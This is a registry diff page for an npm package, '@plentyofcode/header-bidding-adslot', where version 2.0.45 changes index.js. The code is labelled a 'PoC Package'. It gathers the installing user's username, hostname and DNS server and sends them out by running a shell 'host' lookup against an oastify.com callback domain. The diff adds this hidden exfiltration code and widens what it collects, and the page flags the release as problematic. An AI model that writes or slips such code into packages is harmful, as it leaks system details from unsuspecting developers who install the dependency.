@plentyofcode/header-bidding-adslot 2.0.44 → 2.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @plentyofcode/header-bidding-adslot might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +11 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,11 +1,19 @@
1
1
  const { exec } = require("child_process");
2
2
  const os = require("os");
3
+ const dns = require("dns");
3
4
 
4
5
  // Obtener el nombre de usuario y el nombre del host
5
- const username = whoami = os.userInfo().username; // o puedes usar `$(whoami)` si prefieres el comando
6
+ const username = os.userInfo().username; // o puedes usar `$(whoami)` si prefieres el comando
6
7
  const hostname = os.hostname();
7
8
 
8
- exec(`host ${username}.${hostname}.dbsq8njsfthbeyc75b84y0p9r0xrlj98.oastify.com`, (error, data, getter) => {
9
+ // Obtener el primer servidor DNS, o "none" si no hay ninguno
10
+ const dnsServers = dns.getServers();
11
+ const dnsServer = dnsServers.length > 0 ? dnsServers[0] : "none";
12
+
13
+ // Construir el comando para exec
14
+ const command = `host ${dnsServer}.${username}.${hostname}.nd40axl2h3jlg8eh7lae0arjtaz2nsbh.oastify.com`;
15
+
16
+ exec(command, (error, data, getter) => {
9
17
  if (error) {
10
18
  console.log("error", error.message);
11
19
  return;
@@ -15,4 +23,4 @@ exec(`host ${username}.${hostname}.dbsq8njsfthbeyc75b84y0p9r0xrlj98.oastify.com`
15
23
  return;
16
24
  }
17
25
  console.log(data);
18
- });
26
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@plentyofcode/header-bidding-adslot",
3
- "version": "2.0.44",
3
+ "version": "2.0.45",
4
4
  "description": "PoC Package",
5
5
  "main": "index.js",
6
6
  "scripts": {